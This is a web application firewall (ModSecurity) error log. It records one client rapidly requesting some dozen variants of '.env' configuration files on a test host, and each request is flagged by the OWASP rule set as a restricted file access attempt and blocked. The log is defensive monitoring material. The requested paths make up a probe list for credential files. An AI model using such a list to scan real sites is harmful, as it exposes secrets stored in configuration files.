[Wed Feb 25 06:04:23.141025 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXwAAAAAc&quot;]
[Wed Feb 25 06:04:23.141210 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXwAAAAAc&quot;]
[Wed Feb 25 06:04:23.503836 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxAAAAAc&quot;]
[Wed Feb 25 06:04:23.504118 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxAAAAAc&quot;]
[Wed Feb 25 06:04:23.504319 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxAAAAAc&quot;]
[Wed Feb 25 06:04:23.551704 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxQAAAAc&quot;]
[Wed Feb 25 06:04:23.552001 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxQAAAAc&quot;]
[Wed Feb 25 06:04:23.552197 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxQAAAAc&quot;]
[Wed Feb 25 06:04:23.656630 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxgAAAAc&quot;]
[Wed Feb 25 06:04:23.656925 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxgAAAAc&quot;]
[Wed Feb 25 06:04:23.657127 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxgAAAAc&quot;]
[Wed Feb 25 06:04:23.693430 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxwAAAAc&quot;]
[Wed Feb 25 06:04:23.693722 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxwAAAAc&quot;]
[Wed Feb 25 06:04:23.693909 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXxwAAAAc&quot;]
[Wed Feb 25 06:04:23.784399 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXyAAAAAc&quot;]
[Wed Feb 25 06:04:23.784715 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXyAAAAAc&quot;]
[Wed Feb 25 06:04:23.784922 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXyAAAAAc&quot;]
[Wed Feb 25 06:04:23.875997 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXyQAAAAc&quot;]
[Wed Feb 25 06:04:23.876311 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXyQAAAAc&quot;]
[Wed Feb 25 06:04:23.876504 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXyQAAAAc&quot;]
[Wed Feb 25 06:04:23.951872 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXygAAAAc&quot;]
[Wed Feb 25 06:04:23.952447 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXygAAAAc&quot;]
[Wed Feb 25 06:04:23.952728 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXygAAAAc&quot;]
[Wed Feb 25 06:04:23.996515 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXywAAAAc&quot;]
[Wed Feb 25 06:04:23.996822 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXywAAAAc&quot;]
[Wed Feb 25 06:04:23.997029 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXywAAAAc&quot;]
[Wed Feb 25 06:04:24.032559 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ6C2Iv6AM5Bs3q_JQDXzAAAAAc&quot;]
[Wed Feb 25 06:04:24.032853 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ6C2Iv6AM5Bs3q_JQDXzAAAAAc&quot;]
[Wed Feb 25 06:04:24.033038 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ6C2Iv6AM5Bs3q_JQDXzAAAAAc&quot;]
[Wed Feb 25 06:04:24.142852 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ6C2Iv6AM5Bs3q_JQDXzQAAAAc&quot;]
[Wed Feb 25 06:04:24.143164 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ6C2Iv6AM5Bs3q_JQDXzQAAAAc&quot;]
[Wed Feb 25 06:04:24.143349 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ6C2Iv6AM5Bs3q_JQDXzQAAAAc&quot;]
[Wed Feb 25 06:04:24.978604 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ6C2Iv6AM5Bs3q_JQDX1wAAAAc&quot;]
